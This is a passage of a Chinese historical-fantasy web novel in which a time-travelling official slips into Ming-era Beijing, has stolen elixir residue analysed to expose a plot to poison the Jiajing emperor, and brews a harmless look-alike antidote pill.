以武定侯郭勋为首的那帮勋臣!
郭勋在嘉靖初年“大礼议”中站队皇帝,深受宠信,掌管京营,权势熏天。
其门下网罗众多江湖异士、方术之流,常向皇帝进献丹药,以此固宠。
若说谁有能力、有动机在皇帝丹药中做手脚,并能调动如此庞大资
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源在南方布局,郭勋及其党羽嫌疑最大!
信末,是一个用朱砂勾勒的奇特标记——一柄利剑,被熊熊火焰缠绕吞噬,剑尖却透出一缕幽光。
这标记苏惟瑾从未见过,但那股阴狠炽烈、吞噬一切的气息,却让他心生警兆。
“公子,可能看懂?”
胡三见苏惟瑾神色变幻,忍不住问道。
苏惟瑾深吸一口气,压下心头的惊涛骇浪,将薄绢小心收起,沉声道:
“看懂了七八分。
有人,在陛下的丹药里做了手脚,图谋不轨!
而这幕后指使之人,与京中那位炙手可热的武定侯爷,脱不了干系!”
此言一出,周围几人,包括一向沉稳的苏惟奇,都倒吸一口凉气!
牵扯到皇帝,牵扯到当朝侯爷,这可是泼天的大案!
“他们提到了‘宫宴’,”
苏惟瑾目光锐利如刀,扫过众人。
“这意味着他们准备在不久后的某次宫宴上发难!
我们必须赶在那之前,潜入京城,揭穿他们的阴谋!”
线索已然明确,敌人浮出水面,时间更是紧迫!
苏惟瑾不再犹豫,立刻下令:
“胡三,让你的‘朋友们’加倍警惕,我们很可能已经进入对方重点监控区域!
惟奇、惟虎,检查武器,做好随时遭遇拦截的准备!”
众人凛然领命,刚刚松弛片刻的神经再次紧绷起来。
苏惟瑾望向西北方向,那是京城所在。
暮色四合,远山如黛,前方的路途注定布满荆棘与杀机。
但他心中却燃起熊熊火焰,那是对阴谋的愤怒,也是对揭开真相、挽狂澜于既倒的决绝!
武定侯郭勋……这盘横跨南北、牵扯朝野的大棋,你这藏在幕后的执棋者,终于要亲自下场了吗?
也好,就让我苏惟瑾,来会一会你这权倾朝野的勋贵之首!
密信截获,黑手初现,目标直指武定侯郭勋!
宫宴之期迫在眉睫,苏惟瑾能否赶在对手发动前潜入戒备森严的京城?
那火焰缠剑的标记,又代表着郭勋麾下怎样一股隐秘力量?
而郭勋得知信鸽被截,是会按兵不动,还是狗急跳墙,派出更强力的**沿途阻截?
真正的较量,已从暗处转向明面,步步惊心!
第340章 星夜赴京华 争锋瞬息间
落雁陂芦苇荡中的空气,仿佛随着苏惟瑾那句“直插京城”的命令骤然凝固。
密信上“宫宴”二字如同催命符,悬在每个人心头。
武定侯郭勋,那可是手掌京营、圣眷正隆的庞然大物,
他要是在宫宴上搞出什么“丹变”,这大明朝的天顷刻间就得翻过来!
“娘的,这是要捅破天啊!”
苏惟虎搓着大手,眼神里既有紧张,更有一种豁出去的兴奋。
他这条命是公子从张家那虎狼窝里捞出来的,公子要闯刀山,他绝不含糊。
苏惟奇则更显沉稳,眉头紧锁:
“公子,京城如今必然是龙潭虎穴,各路关卡怕是都已得了密令,就等我们自投罗网。
硬闯,恐是九死一生。”
“九死一生,也好过坐以待毙,眼睁睁看着奸佞得逞,江山倾覆!”
苏惟瑾语气斩钉截铁,清秀的面庞在暮色中透着一股不容置疑的决绝。
“他们算准了我们不敢露面,算准了我们会小心翼翼、迂回探查。
我们偏要反其道而行之!
打他一个措手不及!”
超频大脑此刻已将所有冗余思绪剥离,只剩下最冷酷的效率计算和路径规划。
他目光扫过众人:
“迂回探查已无意义,我们现在要的,是速度!
是时间!
必须在他们的‘宫宴’之前,把刀架到郭勋的脖子上!”
他立刻做出部署,语速快如爆豆:
“胡三,选两只最快的猎鹰,带上我亲笔密信,用我们约定的最高警示级别,不惜代价送回京城芸娘处!
让她动用所有能动用的关系,银子随便花,务必盯死宫中任何与丹药、宫宴相关的风吹草动,尤其是陛下近期的身体状况和钦天监的动静!”
“惟奇,你负责规划路线。
放弃所有官道、水路枢纽,专走山林野径、废弃驿道,怎么快怎么来,怎么隐蔽怎么走!
我们要像一支射出去的箭,直指京城!”
“惟虎,你带几个好手,轮流在前探路,遇到小股拦路的,能避则避,不能避就以雷霆手段清除,绝不留活口,更不能恋战!”
“灵儿,”
他看向胡灵儿,语气稍缓。
“调配些提神醒脑、补充体力的药丸,接下来我们可能要日夜兼程。”
众人见他思路清晰,指令明确,心中稍定,齐声领命:“是!”
胡三立刻行动起来,选出两只最为神骏的猎鹰,将苏惟瑾用密写药水匆匆写就的绢信小心绑好。
那猎鹰通灵,似乎也感受到紧迫,振翅间便化作两个黑点,迅速消失在北方天际。
苏惟奇则摊开随身携带的简陋舆图,手指在上面飞快划动,超频大脑辅助运算,迅速筛选出数条人迹罕至却能极大缩短行程的险峻路径。
“公子,走这里,经黑云岭、穿断魂涧,虽然难走,但能省下至少三日路程!
只是……这些地方,匪患和猛兽怕是少不了。”
“就走这条!”
苏惟瑾毫不犹豫。
“匪患猛兽,比不得人心险恶!出发!”
命令一下,这支小小的队伍瞬间化身为一柄出鞘的利刃。
两叶轻舟被果断舍弃,众人上岸,换上便于山地奔行的劲装快靴,带上充足的干粮清水和武器,一头扎进了暮色沉沉的崇山峻岭。
这一路,真真是把“日夜兼程”四个字发挥到了极致。
饿了就啃几口冷硬的干粮,渴了就喝一口山泉水,困极了就在马背上或者找个背风的山岩轮流打盹,
每个人眼里都布满了血丝,脸上带着难以掩饰的疲惫,但眼神却如同淬了火的刀子,越来越亮。
苏惟瑾更是身先士卒,他虽文弱,但超频大脑对身体潜能的挖掘和对疲劳痛苦的耐受度远超常人。
他不断根据实际情况微调路线,规避可能的危险,
同时还要分心推演京城可能发生的各种变故,以及应对之策。
大脑如同高速运转的机器,几乎不曾停歇。
途中果然不太平。
在黑云岭,他们遭遇了一伙不开眼的山匪,人数足有三四十,嗷嗷叫着冲下来,以为撞上了肥羊。
结果还没等靠近,就被苏惟虎带着几个苏氏精锐如同虎入羊群般砍翻了好几个,
胡三驯养的一只山猫更是神出鬼没,专攻下三路,咬得匪徒哭爹喊娘。
剩下的见这群人下手狠辣、配合默契,不似寻常商旅,吓得屁滚尿流,一哄而散。
在断魂涧,他们踩着湿滑的古老栈道,下面是奔腾咆哮的涧水,稍有不慎就会粉身碎骨。<
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br>苏惟瑾却凭借超强的观察力和计算能力,精准地指出每一处看似危险实则稳固的落脚点,带领队伍有惊无险地通过。
胡灵儿调配的提神药丸也发挥了巨大作用,每当有人撑不住时,一粒药丸下肚,便能重新榨出几分力气。
这姑娘自己也累得小脸煞白,却始终咬牙坚持,还不忘时不时观察苏惟瑾的状态,
见他虽然疲惫,但眼神依旧清明锐利,心中稍安,暗道公子这身子骨,怕是比看上去耐熬得多。
越是靠近京城,气氛越是凝重。
沿途关卡明显增多,盘查也严厉数倍,
甚至能看到一些身着便装但眼神锐利、行动矫健的暗哨在关键路口逡巡。
显然,郭勋的网已经撒得越来越密。
但苏惟瑾这支队伍,此刻就像一股无所顾忌的钢铁洪流,
凭借着对路径的精准选择、远超常人的行进速度以及必要时毫不留情的清除手段,
硬是在这张逐渐收紧的大网上,撕开了一道细微却坚定的口子,坚定不移地朝着最终目标——那座巍峨的帝京,疯狂突进!
十数日的风餐露宿,披星戴月。
当远方地平线上,那座如同洪荒巨兽般匍匐着的、墙高池深的巨大城池轮廓,
终于在晨曦微光中隐约可见时,所有人都长长舒了一口气,随即心又提到了嗓子眼。
京城,到了!
然而,城门口那比往常多了数倍、盔明甲亮、神色肃杀的守军,以及空气中弥漫的那股山雨欲来的压抑气息,都无声地宣告着——最艰难的一关,就在眼前。
苏惟瑾勒住马缰,望着那熟悉的、却仿佛隔了一层无形屏障的京城,
抹了把脸上的风尘,眼中寒芒闪烁,低声对身边几人道:
“做好准备,真正的考验,现在才开始。
我们要进的,恐怕是这世上最难进的一座城。”
日夜兼程,突破重重险阻,京城终于近在眼前!
然而城门守军森严,盘查必定苛刻至极,苏惟瑾一行人如何在这最后一道关卡瞒天过海?
郭勋是否已在城门布下天罗地网?
而城内的芸娘,又是否收到了警示,宫中那场决定命运的“宫宴”,究竟何时举行?
最后的冲刺,亦是生死一线的较量!
第341章 潜龙隐市井 风雨满京城
晨曦微露,北京城那高大灰暗的城墙垛口如同巨兽的牙齿,冷冷地俯瞰着城外络绎不绝、等待入城的人群。
车马粼粼,人声鼎沸,贩夫走卒、进京举子、各地商旅混杂一处,构成一幅活生生的《清明上河图》。
然而,在这看似寻常的喧嚣之下,却潜藏着无形的肃杀。
城门守军比平日多了数倍,一个个眼神锐利如鹰,仔细盘查着每一个人的路引、货物,甚至行李中的细软。
更有几个穿着普通号衣、但气质精悍的汉子混在人群中,看似随意地扫视,目光却像梳子一样掠过每一张面孔。
苏惟瑾一行人混杂在人群中,早已改头换面。
他们穿着粗布衣衫,脸上刻意抹了些灰土,背着破旧的行囊,扮作投亲靠友或是寻活计的北方流民模样。
苏惟瑾甚至用胡灵儿调制的药水稍稍改变了肤色,让原本清秀的面容显得粗糙黯淡了几分。
“龟孙的,查得真他娘严实!”
苏惟虎压低声音抱怨,他块头大,刻意佝偻着背,显得有些滑稽。
“比查江洋大盗还上心。”
“少废话,低头,别乱看。”
苏惟奇低声呵斥,他经验更老到,知道这种时候一个多余的眼神都可能引来麻烦。
轮到他们这一拨人接受检查。
一个守门把总拿着苏惟奇递上的、伪造的保定府路引,翻来覆去地看,又上下打量着他们:
“保定府来的?干什么的?”
苏惟奇脸上堆起憨厚又带着点惶恐的笑容:
“回军爷的话,小的是木匠,带几个同乡来京城找点活计,混口饭吃。”
他指了指苏惟虎和苏惟瑾。
“这是俺俩兄弟,力气大,能扛活。”
又指了指胡三和胡灵儿。
“这是俺表叔和表妹,投奔亲戚来的。”
那把总眯着眼,目光在苏惟瑾脸上停留片刻,似乎觉得这“流民”过于清秀了些。
苏惟瑾适时地咳嗽了几声,显得有气无力。
胡灵儿则怯生生地往胡三身后缩了缩。
就在这时,旁边一阵骚动。
一个穿着绸衫、看似商贾模样的人因为路引上的籍贯印章有些模糊,
被几个兵丁毫不客气地推搡到一边,勒令重新核查,那商人急得满头大汗,连连作揖。
这把总的注意力被吸引过去,不耐烦地挥挥手:
“快走快走!别挡着道!”
将路引塞回苏惟奇手里。
一行人心中暗松半口气,低着头,跟着人流快步穿过幽深阴冷的城门洞。
就在即将完全踏入城内的一刹那,苏惟瑾眼角的余光瞥见城门内侧阴影里,
一个穿着普通青色直裰、面无表情的中年人,正用一种冰冷审视的目光,缓缓扫视着每一个入城者。
那目光,与码头上那些锦衣卫的探子如出一辙。
苏惟瑾心头一凛,脚下不停,迅速汇入城内喧嚣的人流,将那道目光甩在身后。
京城!
他终于回来了!
但此刻,他不再是那个跨马游街、风光无限的状元郎,而是一个需要将自身彻底隐藏起来的影子。
他没有前往任何与自己明面上有关联的住所——无论是朝廷赐予的宅邸,还是芸娘经营的产业。
那些地方,此刻恐怕早已被无数双眼睛盯死。
超频大脑迅速排除了所有已知的安全屋选项。
南城,那里鱼龙混杂,三教九流汇聚,更是漕帮等人的**地,是藏匿的绝佳地点。
凭借彭小蛟告知的联络方式,苏惟奇带着他们在如同迷宫般的街巷中穿行。
越往南走,街道越窄,房屋越显低矮破败,
空气中弥漫着各种复杂的气味——炊烟、泔水、劣质脂粉、还有人群**特有的体味。
叫卖声、吵闹声、孩童哭闹声、打铁声、算盘珠子的噼啪声……交织成一曲喧闹而充满生命力的市井交响。
最终,他们拐进一条仅容两人并肩通过的窄巷,巷子深处是一个不起眼的院门。
苏惟奇上前,有节奏地敲了敲门环。
片刻,门开了一条缝,一个精瘦的汉子探出头,警惕地打量着他们。
“找谁?”
“彭爷让来的,讨碗水喝。”
苏惟奇说出暗语。
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那汉子眼神微动,侧身让开:
“进来吧。”
院子不大,挤着七八户人家,晾晒的衣物如同万国旗,几个光屁股小孩在院中追逐打闹,
一个老婆子坐在门槛上摘菜,好奇地看了他们几眼,又低下头去。
那精瘦汉子将他们引到最里面一间僻静的厢房。
“彭爷吩咐过,几位爷暂时住这里,缺什么跟我说。
这地方杂乱,但安全,官差轻易不来,来了也查不出啥。”
汉子说完,便躬身退了出去。
房间狭小阴暗,只有一桌一炕,空气中有一股淡淡的霉味。
但此刻,这陋室却给了几人前所未有的安全感。
他们终于从明处转入了暗处,像水滴融入了大海。
苏惟瑾走到唯一的小窗前,透过窗纸的破洞,看着外面嘈杂却充满烟火气的院落,心中波澜起伏。
从手握权柄的钦差,到隐姓埋名的潜伏者,这身份的转换如此剧烈,但他心中却异常平静。
超频大脑清晰地告诉他,隐忍,是为了最终那石破天惊的一击。
他低声吩咐:
“惟奇,想办法和芸娘取得联系,但务必小心,用最隐秘的渠道,确认她是否收到我们的警示,并了解宫中最新动态,尤其是‘宫宴’的具体日期。”
“胡三,让你的‘朋友们’散出去,重点监听市井关于宫中、关于丹药、关于武定侯府的流言蜚语。”
“所有人,没有我的命令,不得踏出这院子半步。
我们现在是影子,是猎人,需要的是耐心和致命一击的机会。”
众人肃然领命。他们知道,公子已经布好了棋局,只等那最关键的时刻到来。而他们,就是公子手中最锋利的暗刃。
成功潜入龙潭虎穴,匿身于市井烟火之中。
然而,芸娘那边是否安全?
她能否收到警示?
宫中的“宫宴”究竟何时举行?
郭勋的阴谋进行到了哪一步?
苏惟瑾这枚投入死局的暗子,何时才能亮出锋芒,搅动这京城的滔天巨浪?
潜伏的日子,每一刻都如同在刀尖上跳舞!
第342章 陋室藏龙虎,瑾心定乾坤
南城大杂院的日子,像是被按下了慢放键,又像是暴风雨前令人窒息的宁静。
外头市井的喧嚣隔着院墙传来,恍如另一个世界。
苏惟瑾——此刻化名“林瑾”,
一身半旧不新的青布直裰,头发随意挽了个髻,
若非眼神过于清亮,混在院里那些落魄书生或小账房中间,倒也毫不违和。
陋室狭小,空气混浊。
苏惟虎憋得有些烦躁,在屋里来回踱步,踩得地板吱呀作响,
被苏惟奇瞪了一眼,才悻悻然坐到炕沿,拿起一块粗麻布,有一下没一下地擦拭着佩刀。
胡灵儿则安静地坐在角落,面前摊开几张草纸,上面画着些奇奇怪怪的草药图形,
她正对照着那小块“勇武膏”样本,眉头微蹙,似乎在推敲其药性相生相克之理。
苏惟瑾端坐于那张唯一的破木桌前,身姿却如青松般挺拔。
他闭着双眼,超频大脑正以前所未有的效率全速运转,化作一台无形的超级计算机在进行着庞大的数据清洗与重构。
自穿越以来,尤其是奉旨南下这大半年,所见所闻,所历所感,无数看似孤立的碎片信息,此刻被尽数调取、放大、剖析、关联——
广西叛军手中效果诡异的“勇武膏”,其炼制手法绝非寻常土司所能掌握,背后必有精通药理、甚至懂得提纯萃取之术的能人;
广州**的嚣张、葡萄牙人精准的“投其所好”、圣保罗庄的隐秘、杜瞎子那番看似醉言醉语实则指向明确的“借刀**”;
截获密信中提及的“金丹”、“药性”、“魏公”、“宫宴”,以及那火焰缠剑的标记;
还有离京前,朝堂之上因《大礼集仪》修订而起的微妙波澜,嘉靖帝对炼丹长生日益痴迷的倾向,乃至宫中那位以方术得宠的道士邵元节的只言片语……
无数线索如同漫天繁星,在超频大脑构建的虚拟星空中飞舞、碰撞、重组。
渐渐地,一张复杂而狰狞的关系网络图,在他脑海中清晰地勾勒出来。
他猛地睁开眼,取过胡灵儿未用完的草纸和一支炭笔,手腕疾动,笔走龙蛇。
很快,一张令人眼花缭乱的图谱跃然纸上。
图谱中央,是“嘉靖帝”与“金丹”两个核心节点,被一圈醒目的红色标注。
由“金丹”延伸出数条线,一条指向“邵元节”(宫中炼丹执行者),
一条指向“太医院”(可能提供理论背书或掩饰),
一条粗重的黑线则连向“魏公”及“火焰缠剑标记”(丹药问题根源与幕后推手)。
“魏公”节点又分出数条支线:
一条连接“郭勋”(勋贵集团代表,提供**庇护与武力支持),
一条连接“黑巫师集团”(提供“勇武膏”技术及可能更阴毒的方术),
一条连接“葡萄牙人”(提供资金、特殊原料或海外渠道),
一条虚线连接“**/杜瞎子”(南方执行与试探棋子)。
而“宫宴”则被标注为一个巨大的“X”点,悬浮于整个图谱上方,仿佛一个即将引爆的**桶。
苏惟奇和苏惟虎凑过来看,只觉得图上线条纵横,名字符号密密麻麻,看得头晕。
“瑾哥儿,这……这都是啥?”
苏惟虎挠着头。
“这就是我们要面对的敌人。”
苏惟瑾用炭笔重点敲了敲“魏公”和“火焰缠剑”标记,
“此人,或者说此势力,能量极大,既能影响宫中炼丹,又能勾结外邦,还能调动江湖势力。
绝非传统的文官清流,更像是以武定侯郭勋为首的勋贵集团,结合了方术士和境外势力的混合体。
他们瞄准的,是陛下的性命,是这大明的江山!”
他目光沉静,分析道:
“文官集团虽内部倾轧,但大多遵循儒家规范,少有敢行此弑君篡逆之险着。
而勋贵集团,尤其是郭勋这等以军功和‘幸进’起家、野心勃勃之辈,更有可能铤而走险。
他们与邵元节等方士勾结,在丹药中做手脚,既能迎合陛下长生的幻想以固宠,又能缓慢达成其不可告人之目的,手段更为隐蔽阴毒。”
形势图一目了然,敌人轮廓清晰,众人心头反而踏实了些。
未知才是最可怕的,一旦看清了对手,便有了应对的方向。
“公子,那我们下一步该如何?”
苏惟奇沉声问道。
苏惟瑾目光锐利,看向一直安静待命的胡三:
“三爷,眼下有一桩紧要事,非你莫属。”
胡三精神一振,拱手道:
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>“公子吩咐!”
“我要你动用一切手段,不惜代价,搜集两样东西。”
苏惟瑾压低声音,字字清晰。
“第一,陛下日常服用后,被丢弃的金丹残渣!
哪怕只有一点粉末,也必须弄到手!
第二,太医院关于陛下近日脉案、用药记录的零星信息,任何蛛丝马迹都不要放过!”
胡三闻言,那双平日里总是半眯着的眼睛里闪过一丝精光。
这任务可谓刁钻至极,深入大内禁苑,窃取皇帝御用之物,简直是虎口拔牙!
但他胡三混迹市井,靠的就是旁人没有的门路和胆色。
他略一沉吟,嘴角甚至勾起一丝古怪的笑意:
“金丹残渣……这东西一般会由近侍处理,多半是掩埋或焚毁。
但只要是经手的人,就有漏洞。
宫里的太监也爱财,负责处理垃圾的小火者们也有自己的门路。
至于太医院的脉案……看守档案库的老吏,就没有不爱杯中物的。”
他没有问公子要这些做什么,既然公子要,那就一定有天大的用处。
“此事风险极大,务必小心。
宁可一无所获,也绝不能暴露行踪。”
苏惟瑾郑重叮嘱。
“公子放心,俺老胡省得。”
胡三嘿嘿一笑,露出两排黄牙。
“俺那些‘小友’们,钻洞爬墙的本事,可比大内侍卫强多了。”
他说的,自然是那些驯养的鼠雀鼬猫之流。
计议已定,胡三不再耽搁,稍作准备,便如同鬼魅般悄无声息地融入了京城复杂的街巷之中。
苏惟瑾重新将目光投向那张关系图谱,手指轻轻点在那代表“金丹”的节点上。
超频大脑中,无数现代化学、药理学知识正在翻滚。
只要拿到实物,他就有信心,用这超越时代几百年的“杂学”,
给那些躲在阴沟里**方术的魑魅魍魉,来一记狠狠的“知识降维打击”!
关系网浮出水面,目标直指勋贵与方士勾结!
胡三铤而走险,深入宫禁,他能否顺利取得那关键的金丹残渣?
苏惟瑾又将如何利用现代知识,从这小小的“药渣”中,洞悉惊天阴谋,找到反击的致命证据?
潜龙在渊,利爪已悄然探出!
第343章 鸟兽窃丹渣,超脑析毒方
南城大杂院的夜色,总比其他地方更浓稠几分。少了达官贵人府邸的灯火通明,只有零星几家窗户透出豆大的油灯光芒,很快又被鼾声和梦呓淹没。苏惟瑾栖身的这间西厢房,更是早早熄了灯,黑黢黢一片,仿佛无人居住。
然而,屋内却另有一番天地。窗户被厚布遮得严严实实,桌上只点了一盏小小的油灯,灯焰如豆,却将围坐桌旁的几张面孔照得清晰。苏惟奇、苏惟虎、胡灵儿,连同刚回来不久的胡三,都屏息凝神,目光灼灼地盯着桌面上几样“不起眼”的东西。
那是几小团颜色暗沉、质地不均匀的块状物,大的不过指甲盖,小的如同米粒,呈现出一种诡异的暗红色与灰黑色交织的斑驳状态,隐隐散发出一股甜腻中带着金属腥气的异香。旁边还有几张皱巴巴、边缘焦黄,似乎是从火盆边缘抢救出来的碎纸片,上面依稀可见“脉浮数…夜寐不安…虚火上炎…”等断续字迹,墨迹潦草。
“乖乖,真弄来了?”苏惟虎瞪大眼睛,想伸手去碰那丹药残渣,**三一巴掌拍开。
“爪子干净点!这可是从宫里‘请’出来的,金贵着呢!”胡三压低声音,脸上带着一丝难以掩饰的得意,指了指蹲在桌角正抱着花生米啃得欢快的几只灰**老鼠,以及窗棂上梳理羽毛的几只麻雀,“全靠这些小祖宗了。宫里头处理药渣的地方看守不算严,但味道冲,人也杂。咱这几位‘钻天鼠’兄弟,可是冒着被猫叼的风险,从垃圾堆深处扒拉出来的精华。那几张纸片子,是‘飞天雀’从太医院后院废纸堆里捡的漏。”
过程说得轻描淡写,但众人都明白,这其中风险何等之大。能在戒备森严的皇宫大内,神不知鬼不觉地取出这些东西,胡三这手驱役鸟兽的绝活,当真堪称神技。
苏惟瑾没有说话,他的全部心神,早已被那几小块丹药残渣吸引。他小心翼翼地用一根自制的竹镊子夹起一小块,凑到灯下仔细观察其色泽、质地,又轻轻嗅了嗅那奇异的气味。超频大脑如同最精密的分析仪器,瞬间启动。
“望”其色,暗红非纯朱砂之红,夹杂铅灰与不明矿物的黑点;“闻”其味,甜腻掩盖下的汞腥、硫磺气息刺鼻,更有一丝极淡的、类似熟透果实**的酸气,与记忆中“勇武膏”的某些成分隐隐呼应。
他没有轻易去“尝”,那太危险。但超频大脑已经根据视觉、嗅觉信息,结合储存的庞大现代化学与毒理学知识库,开始了疯狂的模拟析出与成分推演。
数据流在脑中奔腾碰撞:
“主体成分确认:朱砂(硫化汞)、铅粉(氧化铅)、硝石(硝酸钾)……典型低温炼丹产物,重金属毒素富集。”
“检测到微量生物碱特征信号……与**提取物(**类)光谱匹配度73%……存在其他抗胆碱能植物残留(曼陀罗?闹羊花?)……”
“混合方式粗糙,提纯工艺低下……有效成分(致幻成瘾)与无效/有毒成分比例失衡……存在故意控制剂量痕迹……”
“毒性模型构建中……长期服用导致慢性汞**、铅**,损害中枢神经与肝肾……叠加**成瘾性,形成药物依赖,戒断反应剧烈……伴随抗胆碱能药物副作用,产生谵妄、幻觉、认知功能障碍……”
一幅由数据和概率构成的、关于嘉靖帝身体状况和这丹药危害的清晰图景,在苏惟瑾脑中迅速成型。对方的用心何其歹毒!用重金属丹药缓慢摧残龙体,再用**等物制造依赖,让皇帝离不开这“仙丹”,同时又小心翼翼地控制着猛药的剂量,避免立刻暴毙引起怀疑,温水煮青蛙般消耗着帝王的生命和理智!
这绝非邵元节那种纯粹**的道士能搞出来的东西,背后必有精通药理,且心思缜密、图谋深远之人!与广西“勇武膏”一脉相承,但手法更为隐蔽阴险!
苏惟瑾放下竹镊,眼中寒光凛冽。他看向胡三,沉声道:“三爷,大功一件!有了此物,我们
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便抓住了他们谋逆的铁证之一!”
胡三嘿嘿一笑,搓着手:“能帮上公子就好。”
苏惟瑾目光扫过桌上那几份太医院的废纸碎片,超频大脑瞬间将上面零星的脉案信息与丹药分析的毒性模型结合。“脉浮数…夜寐不安…虚火上炎…”这分明是重金属**早期伴随药物戒断焦虑的典型症状!太医院的太医们或许被蒙蔽,或许不敢直言,只以寻常“虚火”论治,开些清热安神的方子,简直是隔靴搔痒,甚至可能加重肝肾负担!
“对方很谨慎,下的是一盘慢棋。”苏惟瑾缓缓道,声音带着一丝冷意,“他们想让陛下在不知不觉中沉溺,在‘仙丹’的幻梦和身体的垮塌中,慢慢走向终点。而那个关键的‘宫宴’,或许就是他们觉得火候已到,准备收网,或者进行下一步动作的时刻。”
他心中已然明了,破局的关键,就在于这丹药本身!对方倚仗的就是这无人能识的“秘方”和皇帝日益加深的依赖。而自己,拥有他们无法理解的、来自未来的知识维度!
“灵儿,”苏惟瑾转向胡灵儿,“我需要你帮忙,找些常见的药材来,最好是药性温和,能清热利尿,护肝排毒的。”他报了几味草药名字。
胡灵儿虽不解其深意,但见公子神色凝重,立刻点头:“我明日就去南城的药市看看,那里药材杂,不易引人注意。”
苏惟瑾点点头,没有解释更多。有些计划,必须深埋心底。他不仅要揭露阴谋,更要在关键时刻,用对方意想不到的方式,给予致命一击!而这丹药残渣,就是他反击的起点。
悬念钩子:丹药成分被超频大脑解析,歹毒阴谋浮出水面!苏惟瑾索要护肝排毒的药材意欲何为?他能否利用这现代知识,在对方最倚仗的“丹药”领域,上演一出精彩的“以彼之道,还施彼身”?而那即将到来的“宫宴”,又是否会因为这几只老鼠叼来的药渣,而风云突变?暗处的较量,已悄然升级!
第344章 对症拟良方,瑾造“清心丹”
解析出那金丹的歹毒底细,苏惟瑾心头的巨石非但未减,反而更沉了几分。
光知道对方下毒还不够,关键在于如何破解!
嘉靖帝已然对那含有**的丹药产生了依赖,贸然断供,戒断反应发作起来,轻则烦躁暴怒,重则可能危及性命,
正好给了进献丹药的邵元节(及其背后黑手)推诿卸责乃至倒打一耙的借口。
破局的关键,在于“替代”!
必须有一种新的“丹药”,既能缓解皇帝的戒断痛苦,稳住局面,
又能悄无声息地化解其体内毒素,还不能被轻易察觉异常。
这个念头一出,超频大脑立刻进入了前所未有的亢奋状态。
无数知识点如同受到召唤的士兵,迅速集结排列:
现代医学中的“**替代疗法”原理、药物化学中的分子结构与受体竞争性抑制理论、中医药典中关于安神定惊、清热解毒、扶正排毒的千百种方剂药材特性……
乃至食品工艺中关于色泽、香气调配的细微技巧。
一张复杂而精密的“清心丹”配方蓝图,开始在他脑海中疯狂构建、推演、优化。
“惟奇,”
苏惟瑾压下心中的激荡,面色平静地吩咐。
“想办法联系芸娘留在京城的隐秘渠道,不要动用明面的关系,以采购胭脂水粉原料的名义,尽快弄到这些药材。”
他递过一张写满药名的清单,上面除了胡灵儿昨日找来的几味基础草药外,
更多了些看似寻常,但组合起来却别有深意的药材:
煅磁石、茯神、酸枣仁、五味子、丹参、绿豆粉……甚至还有少量蜂蜡和特定的植物色素。
苏惟奇接过清单,虽不明所以,但见公子神色笃定,心知必有深意,重重点头:
“公子放心,我这就去办,保证干净利落。”
药材的筹集颇费了些周折,既要隐秘,又要确保品质,好在“云裳阁”这些年暗中铺设的渠道足够隐秘可靠。
两日后,所需的药材便陆陆续续、化整为零地送到了这南城大杂院。
陋室的一角,被临时改造成了极其简陋的“实验室”。
没有精致的丹炉,只有一个小炭炉,一套粗陶药罐和几只白瓷碗。
苏惟瑾挽起袖子,亲自上手。
他没有采用传统的炼丹术那套水火锻炼、九转八十一难的法子,那太玄乎,且不易控制。
他依靠的是超频大脑赋予的、近乎恐怖的精准控制力。
先将煅磁石、茯神、酸枣仁等安神定志的药材,按照最佳配比研磨成极细的粉末;
再将丹参、绿豆粉等具有活血、解毒效用的药材,
分别以不同温度的纯净水煎煮、萃取、浓缩汁液;
最后,以蜂蜡为基,将药粉与萃取液缓慢、均匀地混合,调入微量植物色素,
模仿那金丹的暗红与灰黑交杂的色泽,再滴入几滴特制的、模拟那异香的植物精油。
整个过程,他全神贯注,好似一个最精密的机械。
每一次称量,都精确到毫厘;
每一次搅拌,都控制着力度与方向;
对火候的把握,更是妙到巅毫。
胡灵儿在一旁打着下手,看得眼花缭乱,
她自幼接触药材,却从未见过如此“理性”甚至可以说是“冷酷”的制药方式,
仿佛不是在创造救人的良药,而是在进行一场不容丝毫差错的计算。
“公子,您这手法……不像炼丹,倒像是在做机关。”
胡灵儿忍不住小声嘀咕。
苏惟瑾嘴角微不可察地牵动了一下,没有回答。
在他眼中,这确实就是一场基于化学和药理的精密“工程”。
第一批“清心丹”的雏形制成后,最关键的一步来了——试药。
此事关乎皇帝安危,也关乎整个计划的成败,绝不能假手他人,更不能有丝毫侥幸。
他捻起一粒比原版金丹小了近半、颜色质地却极为相似的“清心丹”,
在苏惟奇等人惊骇的目光中,平静地放入口中。
“公子!”
苏惟虎差点跳起来。
苏惟瑾摆了摆手,示意无妨。
超频大脑瞬间切换到内循环监测模式,化作最先进的生物传感器,精确地感知着药丸在口中融化、进入体内的每一丝细微变化。
心跳、血流、神经反应……所有数据如同瀑布流般在脑中刷新。
他敏锐地捕捉到那几味安神药材带来的温和镇静效果,确实能模拟出部分**带来的短暂安宁感,<
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br>但绝无那种令人沉溺的欣快和后续的空虚。
同时,清热解毒的成分也开始缓慢起效,虽然微弱,但方向正确。
“剂量,还需微调。
镇静效果略强,排毒效力稍弱,色泽再偏暗红一分……”
他闭着眼,喃喃自语,仿佛在品评一件艺术品。
随后,他睁开眼,眼中没有丝毫试药后的不适,只有更加锐利的光芒。
“灵儿,按我刚才说的比例,将酸枣仁减半钱,绿豆粉萃取液增加两滴,色素用茜草根汁替代三分之一。”
如此反复,整整三个不眠之夜。
苏惟瑾如同一个不知疲倦的机器,一次次调整配方,一次次亲身试药,依靠超频大脑的精准调控,将剂量始终控制在绝对安全的范围内。
桌上的“清心丹”雏形,也从最初的颜色不正、气味偏差,渐渐变得与那害人的金丹几乎别无二致,只是个头稍小,内里的成分却已是天壤之别。
当第七批“清心丹”出炉时,苏惟瑾捻起一粒,在灯下仔细端详,又轻轻嗅了嗅,终于缓缓点头。
成了!
这“清心丹”,外观气味足以乱真,核心却已偷梁换柱。
它用温和的安神草药组合,配合微量营养素,巧妙地“欺骗”因**戒断而焦渴的身体,既能缓解痛苦,又绝不会形成新的依赖;
同时,内含的解毒成分能缓慢中和重金属毒素,调理被丹药摧残的脏腑。
“瑾哥儿,这……真能行?”
苏惟虎看着那几粒小小的丹丸,难以置信。
苏惟瑾将丹药小心收入一个早已备好的、与宫中盛放金丹类似的锦囊中,目光深邃:
“能不能行,总要试过才知道。
现在,我们有了撬动棋局的筹码。
接下来,就是要想办法,把这‘清心丹’,送到该吃它的人嘴里了。”
“清心丹”研制成功,外观足以乱真,内里却暗藏解毒玄机!
然而,如何突破邵元节和郭勋的重重封锁,将这救命的丹药送到嘉靖帝面前?
宫中戒备森严,皇帝身边尽是眼线,这“偷梁换柱”之计,又该如何神不知鬼不觉地实施?
手握破局利器的苏惟瑾,将如何落下这惊险万分的一步棋?
第345章 投石问路计,假手惊陆炳
